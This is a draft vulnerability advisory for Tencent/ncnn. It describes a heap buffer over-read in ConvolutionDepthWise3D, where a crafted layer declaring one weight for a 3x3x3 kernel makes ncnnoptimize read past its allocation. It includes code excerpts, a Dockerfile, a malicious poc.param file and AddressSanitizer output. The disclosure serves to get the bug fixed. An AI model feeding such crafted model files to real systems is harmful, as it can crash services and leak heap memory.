All advisories
Draft

Heap Buffer Over-Read in 3D Convolution

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Heap Buffer Over-Read in 3D Convolution

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/convolutiondepthwise3d.cpp:143 in ConvolutionDepthWise3D::forward
Sanitizer verdict: heap-buffer-overflow

Summary

ConvolutionDepthWise3D sizes its weight buffer from the model-declared weight_data_size but indexes it with the kernel volume computed from kernel_w * kernel_h * kernel_d, so a 3x3x3 layer declaring one weight makes the forward pass read 27 floats out of a one-float allocation. The attacker supplies a .param/.bin pair to ncnnoptimize, which loads the model at tools/ncnnoptimize.cpp:2797 and then executes the graph inside ModelWriter::shape_inference(). The out-of-bounds floats become convolution weights, and the process aborts.

Detail

ConvolutionDepthWise3D::load_param takes kernel_w (key 1, with kernel_h and kernel_d defaulting to it) and weight_data_size (key 6) as independent values. load_model allocates exactly weight_data_size floats and never relates them to the kernel geometry:

// src/layer/convolutiondepthwise3d.cpp:44
int ConvolutionDepthWise3D::load_model(const ModelBin& mb)
{
    weight_data = mb.load(weight_data_size, 0);
    if (weight_data.empty())
        return -100;

forward then recomputes the kernel volume from the geometry and uses it both as the per-group weight stride and as the inner loop bound:

// src/layer/convolutiondepthwise3d.cpp:87
    const int maxk = kernel_w * kernel_h * kernel_d;

// src/layer/convolutiondepthwise3d.cpp:124
            const float* kptr = (const float*)weight_data + maxk * g;

// src/layer/convolutiondepthwise3d.cpp:140
                        for (int k = 0; k < maxk; k++)
                        {
                            float val = sptr[space_ofs[k]];
                            float w = kptr[k];
                            sum += val * w;
                        }

The PoC's layer line is ConvolutionDepthWise3D dw 1 1 data out 0=1 1=3 2=1 3=1 4=0 5=0 6=1 7=1: num_output = 1, kernel_w = kernel_h = kernel_d = 3, weight_data_size = 1, group = 1. Because channels == group == num_output, the depthwise branch at line 118 runs, maxk is 27, and kptr points at a one-float Mat that occupies ncnn's 84-byte minimum allocation (21 floats). Reads for k = 0..20 return uninitialized neighbouring heap; at k = 21 the read reaches byte offset 84 and lands one element past the end of the 84-byte region — the 4-byte read AddressSanitizer reports at src/layer/convolutiondepthwise3d.cpp:143. The bound is maxk, so the loop would keep reading through k = 26, and a larger declared kernel scales the over-read arbitrarily.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-heap-buffer-over-read-in-3d-convolution && cd ncnn-poc-heap-buffer-over-read-in-3d-convolution

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data 0=3 1=3 11=3 2=1
ConvolutionDepthWise3D dw 1 1 data out 0=1 1=3 2=1 3=1 4=0 5=0 6=1 7=1
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e000000094 at pc 0x5c518efe67c6 bp 0x7fffa15c9120 sp 0x7fffa15c9110
READ of size 4 at 0x50e000000094 thread T0
    #0 0x5c518efe67c5 in ncnn::ConvolutionDepthWise3D::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/convolutiondepthwise3d.cpp:143
    #1 0x5c518666df2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #2 0x5c518665fb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #3 0x5c51866bf9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #4 0x5c51865513c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #5 0x5c51865ceeee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #6 0x7c2b236f31c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x7c2b236f328a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x5c518654e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x50e000000094 is located 0 bytes after 84-byte region [0x50e000000040,0x50e000000094)
allocated by thread T0 here:
    #0 0x7c2b23d6cf1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5c518661dbc5 in fastMalloc /ncnn/src/allocator.h:62
    #2 0x5c518661dbc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
    #3 0x5c5186650381 in ncnn::ModelBinFromDataReader::load(int, int) const /ncnn/src/modelbin.cpp:273
    #4 0x5c518efdffaa in ncnn::ConvolutionDepthWise3D::load_model(ncnn::ModelBin const&) /ncnn/src/layer/convolutiondepthwise3d.cpp:46
    #5 0x5c51866baa84 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2080
    #6 0x5c51865cec34 in main /ncnn/tools/ncnnoptimize.cpp:2793
    #7 0x7c2b236f31c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x7c2b236f328a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x5c518654e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/layer/convolutiondepthwise3d.cpp:143 in ncnn::ConvolutionDepthWise3D::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const

Credit

Zheng Yu @ DepthFirst